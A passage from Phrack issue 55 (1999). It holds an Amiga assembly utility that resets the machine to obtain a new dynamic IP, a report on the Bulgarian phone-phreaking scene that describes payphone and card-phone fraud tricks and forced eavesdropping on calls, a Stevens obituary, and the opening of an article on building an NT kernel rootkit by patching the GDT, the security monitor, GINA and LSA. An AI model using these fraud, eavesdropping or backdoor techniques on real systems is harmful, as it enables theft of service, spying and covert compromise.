0x03>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> P55/Linenoise/IPChange.asm !85660240

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

*

* IPChange.Asm (DevPac) by `The Warlock'

*

* Nowadays almost all ISPs allocate dynamic IP addresses, meaning your IP * address will change for each connection you make.

*

* On a shitbox PC, a reset causes the CD signal on the serial port to go low, * meaning that the connection is lost and you must initiate another. *

* On an Amiga, a reset does not pull the CD signal low, meaning that * reconnection is possible.

*

* When you reconnect, your ISP allocates another dynamic IP address, so in * effect, you have changed your IP address without starting a new connection! *

* Create a batch file called ipchange.bat as follows:

*

* echo > s:reconnect

* wait 5

* cpu nofastrom > nil:

* ipchange

*

* Make the following additions to your startup‑sequence:

*

* if exists s:reconnect

* delete s:reconnect > nil:

* execute <your internet startup script>

* else

* endif

*

* Now, whenever called, ipchange.bat will reset, and automatically load your * internet software for quick reconnection.

*

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

opt c+,d‑ case sensitive no debug

section ,code code section

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

START bra.s MAIN call main

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

ID dc.b "$VER:IPChange V1.0 by `The Warlock!",0

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

cnop 0,4 32 bit alignment

MAIN move.l 4.w,a6 exec base a6 jsr ‑$84(a6) call forbid()

move.l 4.w,a6 exec base a6 jsr ‑$78(a6) call disable()

lea RESET(pc),a5 supervisor code a5 move.l 4.w,a6 exec base a6 jsr ‑$1e(a6) call supervisor()

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

cnop 0,4 32 bit alignment

RESET lea 2,a0 kickstart rom jump vector reset kickstart rom remapped jmp (a0) kickstart rom restarted

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

end eof

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

<‑‑>

0x04>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE BULGARIAN PHREAK SCENE

^^^^^^^^^^^^^^^^^^^^

by TOKATA (firestarter)...

What to say about the Bulgarian phreak scene ‑ is there really one?

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Hmmm... it's a bad new ‑ in Bulgaria there aren't any phreak‑wise peoples at all... But almost second fucked bastard, which has a computer, is interested in hacking. Bastards, which don't know any programming language; their hard drive is full with games, MP3s and porno JPG files; hang on Internet and download hacking programs. They use them (or ask someone to show how to work with them) and imagine ‑ they a superhackers. So Bulgaria is full of motherfucking lamers.

We have an electronic underground magazine named "Phreedom Magazine", but the hacking is the main theme. No phreak articles, because there aren't any phreak authors. So, read...

Bulgarian phone system ‑ the best phone system in the world! :)))

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Hmmm... how to begin... err... So, 98% from our local tandem exchanges are SxS A‑29 type (made by Siemens). A typical SxS exchange ‑ no computerization, strowger switches, sleeve. The impedans is 600ohms, the battery by off‑hook is 60V, by on‑hook ‑ 10V. The resistance range is within 0‑1600Ohms, the current ‑ within 15‑100mA, but usually is 40‑60mA.

A mini Bulgarian crossbar system (KRS‑200) is used in some small villages (up to 200 subscribers). As transit national exchange is used "Crosspoint" (made by Siemens too) aka ESK‑1000. The Crosspoint's switch is a ESK‑relay. ESK stands for Edelmetal‑Schnell‑Kontakt auf Deutsch. Also "Crosspoint" is used as local tandem in some of the big cities.

In Sofia (our capital) is located a transit international exchange MT‑20 (by THOMSON ‑ France). Also year ago our Telco began to install real digital switching systems there. But the tax for these is terrible and their subscribers are companies, offices and some bastards with a lot of money... and the most of capital ISPs ;)

The cables are quite old, there is much of background noise in the handset, the modem connections are terrible ‑ with a 14.4K modem the average speed is 1000bps, it drops you on every 3 minutes. After rain there is no subscriber with normal connection.

So the number detection here is too hard. By us ONLY the calling party can drop the connection. So if you want to catch someone, you make a complaint to the telco. She put on your Linefinder a device, named 'dog'. That 'dog' effects on the switch contacts, so you can hold the connection. After that, you call the Telco from the neighbors and they catch the called party number by the wires. But 'the dog' don't work by long distance conversations. Also we have an ANI equipment, named 'AMUR' or 'SKAT', specially designed for SxS switches, but in the villages and very small towns, there isn't any ANI. So with ANI the Telco can catch you, but they don't use it for normal cases, I think, you know 'why' ;))) But if you make a call from a different area the Telco can't catch you even with the help of ANI :) But nobody knows that :( All the people think: "The Telco ALWAYS CAN DETECT your number! There is no chance to mislead them". Blah, what for idiots. Btw I try to test here the forced ANIF, so I hope to get it in work. In my town (47 000 citizens) we have ANI equipment, but all the Telco employers says ‑ it's used only for subscribers info. The billing information here is still collecting with the help of photographs. No operator comes on my line when I flash the switchhook.

Signaling

~~~~~~~~~~

I devoted a 2 years on learning the signaling methods in Bulgaria, but: 1. There aren't good tech books about signaling. In some books it is mentioned quite cursory. 70% and higher about signaling I have learned from several Phrack articles.

2. Nobody from the local Telco in my town knows anything about this. I talked with a few high educated employers, but they knew less than me :(

Well, I have learned the following from the books (and from other places): N4 and N5 is used on international circuits, otherwise R2 is used. Well, I know that "Crosspoint" uses R2, but I'm not sure that the stupid A‑29 (SxS type) uses the R2 signaling system. Also, I have read in a tech book, that (!) R2 is in‑band signaling system. But we all know, that this is not true, because the blow‑off frequency for R2 is 3825Hz.

The major multiplexing is FDM with 4KHz channels. So if you whistle 3825Hz tone in the microphone, when speaking on LD, the other end will hear that. So we try to blue box with programs. If that success, we will announce that :) But I think ‑ there are line and rejector filters at the end of our trunks and the signal must be clear (a straight sinusoide). An telco employer said to me, he heard about 2100Hz signal, but he wasn't sure :( Can anyone help?

Our beloved Telco

~~~~~~~~~~~~~~~~~

So by us, the BTC (Bulgarian Telecomunication Company) was always monopolistic. Also they try now to occupy and take under full control all ISP in Bulgaria. The local calls are not free and our taxes are the highest in Europe. Our average salary is 100$ and we pay 0.04$ for each tax unit. There are also permanent taxes and other thing and for comparison if you have 200 units you'll pay 10$. That's 12% from the average salary in country!!! Also if you dial from Canada to Bulgaria that'll cost you 0.8$ per minute, BUT IF YOU CALL Canada from Bulgaria (btw we can't dial direct North America without operator assistance) that'll cost you 2.3$ per minute he‑he‑he :) So this year our Telco is going to go private. There was 3 candidates to buy 51% from Telco's shares ‑ Deutsche Telecom/Turkey firm, Telefonica and the Holland/Greece telcos. The price was 500 000 000$. But Telefonica and DT gave up in the last moment. Maybe you guess why? Nobody want to throw his money for Telco, that uses 98% SxS switches, where a big part from peoples (70%) are poor and don't make many calls (under 100 units), in which country you don't know what will happen tomorrow and etc...

So, as I've read about Argentina's telco, I can say: the situation is almost the same. But by us there is ONLY ONE company which control anything all the phones, pagers, a big part of GSM network, all public phones, runs the only X.25 datapac network ‑ BULPAC, they are also ISP... Total monopoly!

The Laws

~~~~~~~~

Ha‑ha‑ha? What for laws? Against phreaking? There is no way :) Also nobody in Bulgaria don't understand what {the fuck} term 'phreaking' means. And not just the ordinary people. If you are in the IRC channel #bulgaria and ask: "Hey, what does the phreaking mean?", I'm sure that nobody shall know. Up to now, I didn't hear about someone to get busted for phreaking. Our telco (and all of their employers) think ‑ the system is unbreakable! But they also have an law about devices, that are illegally hooked to the phone line. At the first time you'll be warned 'bout that, and at the second time you'll be disconnected. But you pay the tax for new phone (100$) and congratulations ‑ you already have a phone :)

So, our legislation don't contain anything about hacking, cracking, phreaking and all kinds of electronic frauds. In Bulgaria there is no term such as 'illegal software' or 'illegal access to someone's computer'.

The PayphoneZ

~~~~~~~~~~~~~

There is no good word to say about our shitty motherfucking Telco, even for payphones. You think ‑ you can do red boxing in Bulgaria. Forget it! Our Payphones a COCOT and are used only for local calls! There are huge, metal boxes :) full mechanical, no fine electronics! You can see inside a capacitor like a hand bomb! The Payphones worked with coins, but there was so many idiots, who took out there coins from the payphones with a thread (string). So our beloved Telco become a mad about this and they replace the coins with a special made by them phone‑coins with borders, which made them impossible to take out ;). As I have said, the payphones are COCOT ‑ you take the handset, hear a dialtone, dial a number (pulse, with a dialing disk!!!), the called person answers... and then the polarity is reversed. A relay inside the phone notice that and after 3 seconds cuts off the mouthpiece... and the earpiece. Then the hole for the money gets opened and the coin falls inside. There are no such terms such a coin return.

There is a trick to make free calls (local) on these phones. If you press the hook, when the polarity is reversed, there is no current on the line in that moment, and because there is no current in that moment, the relay wouldn't

be noticed for the answer, and it wouldn't cut the mouth‑ earpiece. Another trick is to unlock the phone and fill your pockets with coins :) The lock picking on these is quite easy...

There was also payphones for international and LD calls operating with money, but 10 years before began an big inflation and these phones died. Now you should to put a lot of coins (2‑5kg) to make a 3 min international call.

So 5‑6 years before our telco installed two types of card‑phones: BetCom and Bulfon. BetCom is British‑Bulgarian Company (GPT&BTC) and their card phones are magnetic strip style. The security of these card was too weak so a few people began to make free phone calls. After 3 years loosing a lot of money from these frauds, BetCom install new phones and change the cards with electronic ones, but there are still many old phones :) You just copy the magnetic strip of the card and here it is...

The Bulfon phones are much intelligent. They are the same such as these in Argentina and Germany. The test signal is 16KHz, with nice LCD display, have button for several languages, for replacing exhausted cards, for signal amplification and other options. I forgot to say, that both the cardphones use pulse dialing. They usual don't have a number to dial the cardphone, but for a short time the phones in the capital have already a number... and MF dialing.

There was a very popular trick on Bulfon cardphones with 2 cards ‑ full one and empty one (bat at least with 1 unit). You quickly push and pull the full card into the slot and the display begin to flash. After that you do this again and put the empty card. The phone remember the units from the first card and you talk for free. A big amount of people became familiar with this and they began to use it for and without need. And since our telco is mad for every loosed penny, this feature bombed out. Also I have heard, that a few people recharge cards and make unlimited ones (a PIC emulator), but since I'm not a cardphreaker, I don't know much about it. But I know that the bulfon exchange is very sophisticated and it's very hard to fool those. For example, you can't dial more than 400 units with the same card from one cardphone. And yet one funny feature ‑ every night, a built‑in modem in the cardphone establish a connection with the Bulfon exchange and transfer info. Info such as ‑ how many units are used, the cards serial number and much more (such as frauds).

If you, for example, steal a few cards from the post office, the exchange send to all the phones, that cards with a number 444 xxx xxx ... are invalid. Ahh... I forgot, the public phone cables don't go through PVC or metal pipes. But... on Bulfon (and I think ‑ and on BetCom) phones you can't just cut the wire and hook with a handset, because as you know the line device can't find the phone ‑ when you pick up the handset on Bulfon, the exchange send 16KHz test signal and the phone must answer with the same signal. The CPU of these is 68HC11 (Motorola).

btw we have a GSM network since 1995. Also we have a pager network.

Phreaking methods

~~~~~~~~~~~~~~~~~

As I have said, there aren't phreak wise people in Bulgaria (but almost every is interested in hacking). A lot of falsely accused 'phreaks' do pitting hooking with a handset to a pair of wires or the outside connection box. Phreak methods used by me are:

‑ forced 3way calling = some type of abuse the structure of the connector. So, in my town the NPA is X‑YY‑ZZ. So lets imagine, that someone called 4‑33‑28. I begin to dial 4‑33 and when I hit the right pause after the 3rd it's puts me into their conversation.

‑ free calling from local payphones = already talked bout that.

‑ free calling on local and short haul calls ‑ by dialing a chain of prefixes (such as in UK). I dial the prefix (NPA) of the town X, and after that dial the prefix for another place and then the number. But not every exchan ge allows you to make that. Your exchange waits a signal from exchange X, that a called party is answered, but the X waits too for that... But the connection is terrible... and after 3 minutes without taxing on the trunk your Telco cuts the connection ;(

Also I think that black and blue boxing is still possible, but didn't test it entirely.

There also "hidden" long distance numbers and prefixes, which are very useful in some cases (I also found 3‑4 of them), but nobody try to find it :( There aren't free numbers in Bulgaria, except these for police, fire alarm, hospital and the telco number for failure complaints, but they are ONLY FOR LOCAL DIALING! I also discover a method to call these as trunk‑calls, BUT... but our phone system is made so, that if on a trunk‑call there isn't a tax signal coming after 3 minutes, the call is terminated.

Some people with knowledge of electronic also make "free calls" through their neighbor's lines, but BTC is familiar with those methods and it always check the line (plus these of the neighbors) when a subscriber made a complaint for big bill.

In Bulgaria there are NO PBX‑es, Voice Mail Systems, WATS numbers, Call forwarding, Call waiting, DTMF requesting, Speed dialing and other. About PBX ‑ some of our factories have PBX‑es, but I still learn how to use/ abuse them.

In almost every town with more than 10 000 subscribers we have a conference phone, which can be dialed only local (errrr... quite not true ;)) for 1 tax unit per 3/5/10/30 minutes. But the stupid people don't know that and in many towns (such as mine) this phone is *forever* free.

I also have heard about peoples, which emulate the GSM SIM card to make free calls.

PHREAK'EM ALL!!!

0x05>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ PDM

Phrack Doughnut Movie (PDM) last issue was `Dark City`.

PDM54 recipients:

I forget. I think Adam Shostack was definitely one. It's been a while though.

PDM55 Challenge:

"Beware my wrath."

0x06>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ Super Elite People That REad Phrack (SEPTREP)

New additions:

Why they are SEP:

‑‑‑‑[ Current List

W. Richard Stevens

Ron Rivest

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Tribute to W. Richard Stevens

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 04 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 5 P R O P H I L E ]

This issue we're doing something a bit differently. Normally, this file is reserved for the Phrack Prophile. However, this issue, we are instead paying homage to a recently deceased esteemed member of the upper echelon of the computer elite. This is our little way of providing a tribute to the most widely read TCP/IP author in history.

I first read Stevens in 1992. I still have that first edition UNIX Network Programming book sitting on my shelf. I learned a great deal from that book, but that was nothing compared to how much the TCP/IP Illustrated series taught me... I remember getting vol. I in 1994.. I still have that one too, all marked up with highlighters and whatnot... Before I knew it, I found myself firmly immersed in IP networks (I even read vol. II from cover to cover). I know I have Stevens to thank for sparking that interest in me. His death is a great loss.

There is also another reason why W. Richard Stevens is featured here ‑‑ he was to be the prophile for Phrack 55.

I sent Richard email initially on August 31st asking him if he would have time to be profiled for Phrack 55. To my great delight (and somewhat suprise) he agreed! I emailed him the template, and sent him a follow‑up email... The last I heard from him was on September 1st, telling me that he was pretty busy and needed some time to look it over. Sadly this is also the day he died. These emails will not appear here out of respect for Stevens and his family. Instead, republished here is a copy of his obiturary from www.bigdealclassifieds.com.

STEVENS, W. Richard, noted author of computer books died on September 1. He is best known for his ``UNIX Network Programming'' series (1990, 1998, 1999), ``Advanced Programming in the UNIX Environment'' (1992), and ``TCP/IP Illustrated'' series (1994, 1995, 1996). Richard was born in 1951 in Luanshya, Northern Rhodesia (now Zambia), where his father worked for the copper industry. The family moved to Salt Lake City, Hurley, New Mexico, Washington, DC and Phalaborwa, South Africa. Richard attended Fishburne Military School in Waynesboro, Virginia. He received a B.SC. in Aerospace Engineering from the University of Michigan in 1973, and an M.S. (1978) and Ph.D. (1982) in Systems Engineering from the University of Arizona. He moved to Tucson in 1975 and from then until 1982 he was employed at Kitt Peak National Observatory as a computer programmer. From 1982 until 1990 he was Vice President of Computing Services at Health Systems International in New Haven, CT, moving back to Tucson in 1990. Here he pursued his career as an author and consultant. He was also an avid pilot and a part‑time flight instructor during the 1970's. He is survived by his loving wife of 20 years, Sally Hodges Stevens; three wonderful children, Bill, Ellen and David; sister, Claire Stevens of Las Vegas, NV; brother, Bob and wife Linda Stevens of Dallas, TX; nieces, Laura, Sarah, Collette, Christy; and nephew, Brad. He is predeceased by his parents, Royale J. Stevens (1915‑1984); and Helen Patterson Stevens (1916‑1997). Helen lived in Tucson from 1991‑1997, and Royale lived here in the early 1930's attending Tucson High School while his father was treated for TB at the Desert Sanitorium (now TMC). The family asks that in lieu of flowers, donations be made in Richard's name to Habitat for Humanity, 2950 E. 22nd Street, Tucson, AZ 85713.

‑‑ route

A Real NT Rootkit

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 05 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ A *REAL* NT Rootkit, patching the NT Kernel ]

‑‑‑‑‑‑‑‑[ Greg Hoglund <hoglund@ieway.com> ]

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

First of all, programs such as Back Orifice and Netbus are NOT rootkits. They are amateur versions of PC‑Anywhere, SMS, or a slew of other commercial applications that do the same thing. If you want to remote control a workstation, you could just as easily purchase the incredibly powerful SMS system from Microsoft. A remote‑desktop/administration application is NOT a rootkit.

What is a rootkit? A rootkit is a set of programs which *PATCH* and *TROJAN* existing execution paths within the system. This process violates the *INTEGRITY* of the TRUSTED COMPUTING BASE (TCB). In other words, a rootkit is something which inserts backdoors into existing programs, and patches or breaks the existing security system.

‑ A rootkit may disable auditing when a certain user is logged on. ‑ A rootkit could allow anyone to log in if a certain "backdoor" password is used.

‑ A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename.

The possibilities are endless, but the point is that the "rootkit" involves itself in pre‑existing architecture, so that it goes un‑noticed. A remote administration application such as PC Anywhere is exactly that, an application. A rootkit, on the other hand, patches the already existing paths within the target operating system.

To illustrate this, I have included in this document a 4‑byte patch to the NT kernel that removes ALL security restrictions from objects within the NT domain. If this patch were applied to a running PDC, the entire domain's integrity would be violated. If this patch goes unnoticed for weeks or even months, it would be next to impossible to determine the damage.

Network based security & the Windows NT Trust Domain

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you know much about the NT Kernel, you know that one of the executive components is called the Security Reference Monitor (SRM). The DoD Red Book also defines a "Security Reference Monitor". We are talking the same language. In the Red Book, a security domain is managed by a single entity.

To Quote:

"A single trusted system is accredited as a single entity by a single accrediting authority. A ``single trusted system'' network implements a reference monitor to enforce the access of subjects to objects in accordance with an explicit and well defined network security policy [DoD Red Book]."

In NT parlance, that is called the Primary Domain Controller (PDC). Remember that every system has local security and domain security. In this case, we are talking about the domain security. The PDC's "Security Reference Monitor" is responsible for managing all of the objects within the domain. In doing this, it creates a single point of control, and therefore a "single trusted system" network.

How to violate system integrity

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I know this is alot of book theory, but bear with me just a bit longer. The DoD Orange Book also defines a "Trusted Computing Base" (TCB). If you are an NT programmer, then you have likely worked with the security privilege SE_TCB_PRIVILEGE. That privilege maps to the more familiar "act as part of the Operating System" User‑Right. Using the User Administrator for NT you can actually add this privilege to a user.

If you have the ability to act as part of the TCB, you can basically do anything. There is very little security implemented between your process and the rest of the machine. If the TCB can no longer be trusted, then the integrity of the entire network system is shot. The patch I am about to show you is an example of this. The patch, if installed on a Workstation, violates a network "partition". The patch, if installed on a PDC, violates the entire network's integrity.

What is a partition?

The Red Book breaks the network into NTCB (Network Trusted Computing Base) "Partitions". Any single component or machine on the network may be considered a "partition". This makes it convenient for analysis.

To Quote:

"An NTCB that is distributed over a number of network components is referred to as partitioned, and that part of the NTCB residing in a given component is referred to as an NTCB partition. A network host may possess a TCB that has previously been evaluated as a stand‑alone system. Such a TCB does not necessarily coincide with the NTCB partition in the host, in the sense of having the same security perimeter [DoD Red Book]."

On the same host you may have two unique regions, the TCB, which is the traditional Orange Book evaluation for Trusted Computing Base, and the NTCB. These partitions do not have to overlap, but they can. If any component of one is violated, it is likely that the other is as well. In other words, if a host is compromised, the NTCB may also be compromised.

Obviously to install a patch over the TCB, you must already be Administrator, or have the ability to install a device driver. Given that Trojans and Virii work so well, it would be very easy to cause this patch to be installed w/o someone's knowledge.

Imagine an exploit

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Before I digress into serious techno‑garble, consider some of the attacks that are possible by patching the NT kernel. All of these are possible because we have violated the TCB itself:

1. Insert invalid data. Invalid data can be inserted into any network stream. It can also introduce errors into the fixed storage system, perhaps subtly over time, such that even the backups get corrupted. This violates reliability & integrity.

2. Patch incoming ICMP. Using ICMP as a covert channel, the patch can read ICMP packets coming into the kernel for embedded commands.

3. Patch incoming ethernet. It can act as a sniffer, but without all of the driver components. If it has patched the ethernet, then it can also stream data in/out of the network. It can sniff crypto keys.

4. Patch existing DLL's, such as wininet.dll, capturing important data.

5. Patch the IDS system. It can patch a program such as Tripwire or RealSecure to violate its integrity, rendering the program unable to detect the nastiness...

6. Patch the auditing system, i.e., event log, to ignore certain event log messages.

Now for the rare steak. Let's delve into an actual kernel patch. If you already understand protected mode and the global descriptor table, then you can skip this next section. Otherwise put on your hiking boots, there are a couple of switchbacks ahead.

Rings of Power

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Windows NT is unlike DOS or Windows 95 in that it has process‑space security. Every user‑mode process has an area of memory that is protected by a Security Descriptor. Usually this SD is determined from the Access Token of the user that started the process. Access to all objects is handled through a "Access Control List". For Windows NT, this is called "Discretionary Access Control". Personally I find it really hard to grasp something if I don't understand it's most basic details. So, this next section describes the very foundation that makes security possible on the x86 architecture.

First, it is important to understand "protected mode". Protected mode can only be understood by memory addressing. Almost all of the expanded capabilities of the x86 processor are built upon memory addressing. Protected mode gives you access to a 4 GB memory space. Multitasking and privilege levels are all based upon tricks with memory addressing. This discussion only applies to 386 and beyond.

Memory is divided into code and data segments. In protected mode, all memory is addressed as a segment + an offset. Conversely, in real mode, everything is interpreted as an actual address. For our discussion, we only care about protected mode. In protected mode things get a little more complicated. We must address first the segment, followed by an offset into that segment. It is sort of a two step process. Why is this interesting?? This is how most modern operating systems work, and it is important for exploits and Virii. Any modern mobile code must be able to work within this arena.

What is a selector?

A selector is just a fancy word for a memory segment. Memory segments are organized by a table. These table entries are often called descriptors. So, remember, a selector is‑a segment is‑a descriptor. It's all the same thing.

If you understand how the memory segments are kept track of, then you pretty much understand the whole equation. Every memory segment is first a virtual address (16‑bits) plus an offset from that address (32‑bits). A segment is not an actual address, like in realmode, but the number of a selector it wants to use. A selector is usually a small integer number. This small number is an offset into a table of descriptors. In turn, the descriptor itself then has the actual linear address of the beginning of the memory segment. In addition to that, the descriptor has the access privilege of the memory segment.

Descriptors are stored in a table called the Global Descriptor Table (GDT). Each descriptor has a Descriptor Privilege Level (DPL), indicating what ring the memory segment runs in.

Suffice it to say, the selector is your vehicle. Under NT and 95, there are selectors which cover the entire 4GB address range. If you were using one of these selectors, you could walk all over the memory map from 0 to whatever. These selectors do exist, and they are protected by a DPL of 0. Under Windows 9x, selector 28 is a ring 0 that covers the entire 4gb region. Under NT, selectors 8 and 10 achieve the same purpose.

Dumping the GDT from SoftIce produces a table similar to this:

GDTBase=80036000 Limit=0x03FF

0008 Code32 00000000 FFFFFFFF 0 P RE

0010 Data32 00000000 FFFFFFFF 0 P RW

001B Code32 00000000 FFFFFFFF 3 P RE

0023 Data32 00000000 FFFFFFFF 3 P RW

0028 TSS32 8001D000 000020AB 0 P B

0048 Reserved 00000000 00000000 0 NP

0060 Data16 00000400 0000FFFF 3 P RW

etc, etc ....

You can see what segment you are currently using by checking the CPU registers. The registers SS, DS, and CS indicate which selectors are being used for Stack Segment, Code Segment, and Data Segment. The stack and code segments must be in the same ring.

1. Segments can overlap one another. In other words, more than one segment can represent the same address‑space. Segments can overlap one another wholly, or only in part. The address range for a segment is important, of course, but there is other delicious information we care about. For instance, a segment also has a Privilege Level (DPL).

‑‑‑‑ ‑‑‑‑

| | | |

| | | |

| | ‑‑‑‑

| | ‑‑‑‑

| | | |

| | | |

‑‑‑‑ | |

| |

‑‑‑‑

What is a DPL?

Descriptor Privilege Level. This is important to understand. Every memory segment is protected by a privilege level, often called a "ring". The Intel processor has 4 rings, 0 through 3, usually only ring 0 and 3 are used. Lower ring levels have more privilege. In order to access a memory segment, the caller must have a current privilege level equal to or lower than the one being accessed. Current privilege level is often called CPL, and descriptor privilege level is often called DPL.

This type of protection is a requirement for almost any security architecture. In the old days of DOS, mobile code such as virii were able to hook interrupts and execute any code at whim. They were walking all over the memory map at will. No such luck with the advent of Windows NT. There's a gaping need for Windows NT exploits that can take advantage of the old tricks. The central problem is that most code is executing within user mode, and has not access to ring 0, and therefore no access to the Interrupt Descriptor Table or the memory map as a whole.

Under NT, the access to ring 0 is controlled from the right to add your own selector to the GDT. When you transition to ring 0, you are still in protected mode and the Virtual Memory Manager is still operating.

Lets suppose you have written a virus that patches the Global Descriptor Table (GDT) and adds a new descriptor. This new descriptor describes a memory segment that covers the entire range of the map, from 0 to FFFFFFFF___. The DPL of the descriptor is 0, so any code running from it can access other ring‑0 segments. In fact, it can access the entire map. A DPL 0 memory segment marked as "conforming" will violate integrity. The sensitivity label, in this regard, would be the DPL. The fact it is conforming violates the DPL's of other segments, if they overlap.

If your descriptor is marked conforming, it can be called freely from ring‑3 (user mode). This new entry goes unnoticed, of course. Who monitors the GDT on their system? Most people don't even know what that is. There are few IDS systems that monitor this type of information. Now you have effectively placed a backdoor into the memory map. You could be running under any process token, and have full read/write access to the map. This means reading/writing other important tables, such as the Interrupt Table. This means reading other procii's protected memory. This means infecting other files and procii w/ your virii at whim.

Patching the SRM

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Security Reference Monitor is responsible for enforcing access control. Under NT, all of the SRM functions are handled by ntoskrnl.exe. If the integrity of that code were violated, then the SRM could no longer be trusted. The whole security system has failed.

The Security Reference Monitor is responsible for saying Yes/No to any object access. It consults a process table to determine your current running process' access token. It then compares the access token with the required access of the object. Every object has a Security Descriptor (SD). Your running process has an Access Token. Comparing these two structures, the SRM is able to deny or allow you access to the object.

orange book:

"In October of 1972, the Computer Security Technology Planning Study, conducted by James P. Anderson & Co., produced a report for the Electronic Systems Division (ESD) of the United States Air Force.[1] In that report, the concept of "a reference monitor which enforces the authorized access relationships between subjects and objects of a system" was introduced. The reference monitor concept was found to be an essential element of any system that would provide multilevel secure computing facilities and controls."

It then listed the three design requirements that must be met by a reference validation mechanism:

a. The reference validation mechanism must be tamper proof. b. The reference validation mechanism must always be invoked. c. The reference validation mechanism must be small enough to be subject to analysis and tests, the completeness of which can be assured."[1]

The SRM is *NOT* tamper proof. It may be protected by the TCB security privilege, but I suggest that the only truly tamper‑proof SRM is going to use cryptographic mechanisms. Using an attack vector such as Virii or Trojan's, a patch could easily be placed within the TCB.

You can patch the SRM itself if you have access to the map. In this, you can insert a backdoor such that a certain user‑id ALWYAS has access. However, this does not require you to edit the user's security level in any way. You are patching it at the access point, not the source. So, auditing programs will not be able to notice the problem. This is a simple trick that could be employed in any NT RootKit.

There are several key components to the NT Kernel. They are sometimes referred to as the "NT Executive". The NT executive is really a group of individual components with a well defined interface. Each component has such a well defined interface, in fact, that you could actually take it out completely and replace it with a new one. As long as the new component implemented all of the same interfaces, then the system would continue to function. The following are all components of the NT Executive:

HAL: Hardware Abstraction Layer, HAL.DLL

NTOSKERNL: Contains several components, NTOSKRNL.EXE

The Virtual Memory Manager (VMM)

The Security Reference Monitor (SRM)

The I/O Manager

The Object Manager

The Process and Thread Manager

The Kernel Services themselves

‑(Exception handling and runtime library)

LPC Manager (Local Procedure Call)

Hey, these are some of the modules listed when a Blue Screen occurs! The system is just a big memory map!

With all of this data we are bound to find structures of interest! Many key data structures are crucial to security. Once we know what we are looking for, we can get into SoftIce and start poking around. A list of the exported functions for some of these components is in Appendix A.

Using a tool such as SoftIce, reverse engineering the SRM and other components is easy ;) The methodology is simple. First, we must find the component we are interested in. They all sit in system memory at some point...

Some key data structures are:

ACL (Access Control List), contains ACE's

ACE (Access Control Entry), has a 32‑bit Access Mask and a SID SID (Security Identifier), a big number

PTE (Page Table Entry)

SD (Security Descriptor), has an Owner SID, a Group SID, and an ACL AT (Access Token)

Now for some tricks! The first thing we need to do is identify which of these data structures we will be using. If we want to reverse engineer the Security Reference Monitor, then we can be assured that our SID is going to be used in some call somewhere.. This is where SoftIce comes in. SoftIce has an incredible feature called expressions. SoftIce will let you define a regular expression to be evaluated for a breakpoint. In other words, I can tell SoftIce to break if only a special set of circumstances has occurred.

So, for example (working implementation):

1. I want softice to break if the ESI register references my SID. Since a SID is many words long, I will have to define the expression in several portions:

bpx (ESI‑>0 == 0x12345678) && (ESI‑>4 == 0x90123456) && (ESI‑>8 == 0x78901234)

What I have done here is tell softice to break if the ESI register points to the data: 0x123456789012345678901234. Notice how I use the ‑> operator to offset ESI for each word.

Now, try to access an object. SoftIce will promptly break when your SID is used in a call.

There are many system components that are worth reverse engineering. You may also want to play with the following:

1. GINA, (GINA.DLL) The logon screen you see when you type your password. Imagine if this component was trojaned.. A Virii could capture passwords across the enterprise.

2. LSA (The Local System Authority) This is the module responsible for querying the SAM database. This would be an ideal place to put a rootkit‑password that *ALWAYS* allows you access to the system. 3. SSDT, The System Service Descriptor Table

4. GDT, the Global Descriptor Table

5. IDT, the Interrupt Descriptor Table

